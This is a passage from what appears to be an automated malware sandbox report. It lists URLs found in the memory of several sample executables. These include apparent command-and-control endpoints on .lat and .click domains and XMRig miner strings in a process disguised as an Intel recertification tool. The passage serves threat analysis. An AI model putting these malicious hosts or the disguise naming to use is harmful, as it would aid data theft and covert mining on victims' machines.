                                      Source: 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/no-pii.pdf
                                      Source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/openid-trust-level1.pdfthttp://www.idmanagement.gov/
                                      Source: 1f3cab3382.exe, 00000026.00000003.3179833486.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3342798453.0000000005857000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://x1.c.lencr.org/0
                                      Source: 1f3cab3382.exe, 00000026.00000003.3179833486.0000000005B4B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3342798453.0000000005857000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://x1.i.lencr.org/0
                                      Source: 1f3cab3382.exe, 00000026.00000003.3129038800.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129211193.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129493521.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, d173cd9705.exe, 00000027.00000003.3398363448.000000000104A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3282940867.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283881578.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283396738.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3427574139.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3430517492.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3428498379.0000000005518000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                                      Source: 1f3cab3382.exe, 00000028.00000003.3350042735.0000000005822000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
                                      Source: 1f3cab3382.exe, 00000026.00000003.3129038800.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129211193.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129493521.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, d173cd9705.exe, 00000027.00000003.3398363448.000000000104A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3282940867.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283881578.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283396738.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3427574139.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3430517492.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3428498379.0000000005518000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                                      Source: 1f3cab3382.exe, 00000026.00000003.3129038800.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129211193.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129493521.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, d173cd9705.exe, 00000027.00000003.3398363448.000000000104A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3282940867.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283881578.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283396738.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3427574139.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3430517492.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3428498379.0000000005518000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                                      Source: 1f3cab3382.exe, 00000026.00000003.3129038800.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129211193.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129493521.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, d173cd9705.exe, 00000027.00000003.3398363448.000000000104A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3282940867.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283881578.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283396738.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3427574139.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3430517492.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3428498379.0000000005518000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                                      Source: 1f3cab3382.exe, 00000028.00000003.3350042735.0000000005822000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://curl.se/docs/alt-svc.html
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://curl.se/docs/hsts.html
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://curl.se/docs/http-cookies.html
                                      Source: 1f3cab3382.exe, 00000026.00000003.3129038800.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129211193.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129493521.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, d173cd9705.exe, 00000027.00000003.3398363448.000000000104A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3282940867.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283881578.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283396738.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3427574139.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3430517492.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3428498379.0000000005518000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                                      Source: 1f3cab3382.exe, 00000026.00000003.3129038800.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129211193.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129493521.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, d173cd9705.exe, 00000027.00000003.3398363448.000000000104A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3282940867.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283881578.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283396738.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3427574139.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3430517492.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3428498379.0000000005518000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
                                      Source: 1f3cab3382.exe, 00000026.00000003.3129038800.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129211193.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129493521.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, d173cd9705.exe, 00000027.00000003.3398363448.000000000104A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3282940867.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283881578.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283396738.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3427574139.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3430517492.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3428498379.0000000005518000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                                      Source: svchost.exe, 0000002F.00000003.3282352336.0000016F21EF3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
                                      Source: svchost.exe, 0000002F.00000003.3282352336.0000016F21E80000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
                                      Source: 1f3cab3382.exe, 00000026.00000003.3278358124.0000000000D8F000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3298961968.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3318934468.0000000000D8F000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3455977039.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3455605697.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3434505866.0000000000B75000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3258059719.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3455605697.0000000000B75000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3463195420.0000000000B5C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/
                                      Source: 1f3cab3382.exe, 00000026.00000003.3318934468.0000000000D8F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/&
                                      Source: 1f3cab3382.exe, 00000026.00000003.3249083501.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3303617322.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3344647504.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3279573878.0000000000D3B000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3248936218.0000000000D3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/1
                                      Source: 1f3cab3382.exe, 00000028.00000003.3388244086.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3434505866.0000000000B8E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/28
                                      Source: 1f3cab3382.exe, 00000028.00000003.3388244086.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3455977039.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3455605697.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3434505866.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3342715269.0000000000B9A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/=
                                      Source: 1f3cab3382.exe, 00000028.00000003.3258059719.0000000000B5C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/AC5
                                      Source: 1f3cab3382.exe, 00000028.00000003.3258059719.0000000000B5C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/J
                                      Source: 1f3cab3382.exe, 00000026.00000003.3342482720.0000000000D8F000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3318934468.0000000000D8F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/P
                                      Source: 1f3cab3382.exe, 00000028.00000003.3434505866.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3350042735.0000000005822000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3387265234.0000000005823000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3413256605.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3258059719.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3375362306.0000000005823000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3408655601.0000000005824000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3342715269.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3345448731.0000000005822000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3259204779.0000000000B35000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/api
                                      Source: 1f3cab3382.exe, 00000028.00000003.3387265234.0000000005823000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3375362306.0000000005823000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3408655601.0000000005824000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/api-
                                      Source: 1f3cab3382.exe, 00000028.00000003.3455605697.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3434505866.0000000000B8E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/api-19
                                      Source: 1f3cab3382.exe, 00000028.00000003.3414236004.0000000000AF5000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3429935464.0000000000AF6000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3258059719.0000000000AF6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/apiSB=
                                      Source: 1f3cab3382.exe, 00000028.00000003.3258059719.0000000000B13000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/apiUB=
                                      Source: 1f3cab3382.exe, 00000028.00000003.3350042735.0000000005822000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3345448731.0000000005822000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/apibACgA
                                      Source: 1f3cab3382.exe, 00000026.00000003.3278358124.0000000000D9C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/apigs
                                      Source: 1f3cab3382.exe, 00000026.00000003.3318934468.0000000000D9C000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3342482720.0000000000D8F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/apigsr
                                      Source: 1f3cab3382.exe, 00000028.00000003.3258059719.0000000000AFB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/apit
                                      Source: 1f3cab3382.exe, 00000026.00000003.3342482720.0000000000D8F000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3318934468.0000000000D8F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/g
                                      Source: 1f3cab3382.exe, 00000026.00000003.3278358124.0000000000D8F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/i
                                      Source: 1f3cab3382.exe, 00000028.00000003.3434505866.0000000000B75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/kE)
                                      Source: 1f3cab3382.exe, 00000028.00000003.3258059719.0000000000B5C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/q
                                      Source: 1f3cab3382.exe, 00000028.00000003.3434505866.0000000000B75000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3455605697.0000000000B75000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat/wE
                                      Source: 1f3cab3382.exe, 00000028.00000003.3414236004.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3258059719.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3429935464.0000000000AFB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat:443/api
                                      Source: 1f3cab3382.exe, 00000026.00000003.3342752850.0000000000D82000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat:443/api1iFYhrj/MCuFsyMH8F0Ge
                                      Source: 1f3cab3382.exe, 00000028.00000003.3414236004.0000000000AFB000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3429935464.0000000000AFB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat:443/apical
                                      Source: 1f3cab3382.exe, 00000026.00000003.3248713420.0000000000D9C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://grannyejh.lat:443/apip
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://httpbin.org/ip
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://httpbin.org/ipbefore
                                      Source: 1f3cab3382.exe, 00000028.00000003.3350042735.0000000005822000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
                                      Source: 1eb4b174fd.exe, 00000024.00000002.3074676805.0000000001516000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lossekniyyt.click/
                                      Source: 1eb4b174fd.exe, 00000024.00000002.3074058221.00000000014AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lossekniyyt.click/&w
                                      Source: 1eb4b174fd.exe, 00000024.00000002.3074676805.0000000001516000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lossekniyyt.click/L
                                      Source: 1eb4b174fd.exe, 00000024.00000002.3074676805.0000000001516000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lossekniyyt.click/P
                                      Source: 1eb4b174fd.exe, 00000024.00000002.3074058221.00000000014AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lossekniyyt.click/Q
                                      Source: 1eb4b174fd.exe, 00000024.00000002.3074058221.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, 1eb4b174fd.exe, 00000024.00000002.3074676805.0000000001516000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lossekniyyt.click/api
                                      Source: 1eb4b174fd.exe, 00000024.00000002.3074058221.00000000014AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lossekniyyt.click/api5
                                      Source: 1eb4b174fd.exe, 00000024.00000002.3074676805.0000000001516000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lossekniyyt.click/apikP
                                      Source: 1eb4b174fd.exe, 00000024.00000002.3073615047.0000000001471000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lossekniyyt.click:443/apiMicrosoft
                                      Source: 1eb4b174fd.exe, 00000024.00000002.3073615047.0000000001471000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lossekniyyt.click:443/apitPK
                                      Source: 1f3cab3382.exe, 00000028.00000003.3347984195.0000000005CFF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
                                      Source: 1f3cab3382.exe, 00000028.00000003.3347984195.0000000005CFF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
                                      Source: 1f3cab3382.exe, 00000028.00000003.3258059719.0000000000AFB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://sweepyribs.lat:443/api
                                      Source: 1f3cab3382.exe, 00000026.00000003.3129038800.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129211193.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129493521.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, d173cd9705.exe, 00000027.00000003.3398363448.000000000104A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3282940867.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283881578.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283396738.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3427574139.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3430517492.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3428498379.0000000005518000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                                      Source: 1f3cab3382.exe, 00000026.00000003.3129038800.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129211193.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3129493521.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, d173cd9705.exe, 00000027.00000003.3398363448.000000000104A000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3282940867.0000000005859000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283881578.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3283396738.0000000005856000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3427574139.000000000551B000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3430517492.0000000005518000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000031.00000003.3428498379.0000000005518000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                                      Source: 1f3cab3382.exe, 00000028.00000003.3347984195.0000000005CFF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
                                      Source: 1f3cab3382.exe, 00000028.00000003.3347984195.0000000005CFF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
                                      Source: 1f3cab3382.exe, 00000026.00000003.3183765455.0000000005BDE000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3347984195.0000000005CFF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
                                      Source: 1f3cab3382.exe, 00000028.00000003.3347984195.0000000005CFF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
                                      Source: 1f3cab3382.exe, 00000026.00000003.3183765455.0000000005BDE000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3347984195.0000000005CFF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
                                      Source: 1f3cab3382.exe, 00000026.00000003.3183765455.0000000005BDE000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3347984195.0000000005CFF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
                                      Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2837268747.000001AE777F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2843315351.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 00000029.00000003.3207300188.00000266A4D20000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002A.00000002.3265693433.00000001402DD000.00000002.00000001.00020000.00000000.sdmpString found in binary or memory: https://xmrig.com/docs/algorithms
                                      Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2837268747.000001AE777F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2843315351.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 00000029.00000003.3207300188.00000266A4D20000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002A.00000002.3265693433.00000001402DD000.00000002.00000001.00020000.00000000.sdmpString found in binary or memory: https://xmrig.com/wizard
                                      Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2837268747.000001AE777F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2843315351.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 00000029.00000003.3207300188.00000266A4D20000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002A.00000002.3265693433.00000001402DD000.00000002.00000001.00020000.00000000.sdmpString found in binary or memory: https://xmrig.com/wizard%s
                                      Source: 0d11b39aa9.exe, 0000002D.00000003.3435695265.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp, 0d11b39aa9.exe, 0000002D.00000002.3440156136.0000000000E25000.00000004.00000020.00020000.00000000.sdmp, 0d11b39aa9.exe, 0000002D.00000002.3440837841.0000000001019000.00000004.00000020.00020000.00000000.sdmp, 0d11b39aa9.exe, 0000002D.00000003.3436444767.0000000000E10000.00000004.00000020.00020000.00000000.sdmp, 0d11b39aa9.exe, 0000002D.00000003.3378493381.00000000009B7000.00000004.00000020.00020000.00000000.sdmp, 0d11b39aa9.exe, 0000002D.00000003.3437128207.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, 0d11b39aa9.exe, 0000002D.00000002.3440837841.0000000001027000.00000004.00000020.00020000.00000000.sdmp, 0d11b39aa9.exe, 0000002D.00000003.3381381489.0000000001019000.00000004.00000020.00020000.00000000.sdmp, 0d11b39aa9.exe, 0000002D.00000003.3435476847.0000000000E03000.00000004.00000020.00020000.00000000.sdmp, 0d11b39aa9.exe, 0000002D.00000003.3381381489.0000000001027000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 50061 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49863
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49983
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49970 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 49974 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50011
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50058
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 50059 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50059
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 50106 -> 443
                                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50061
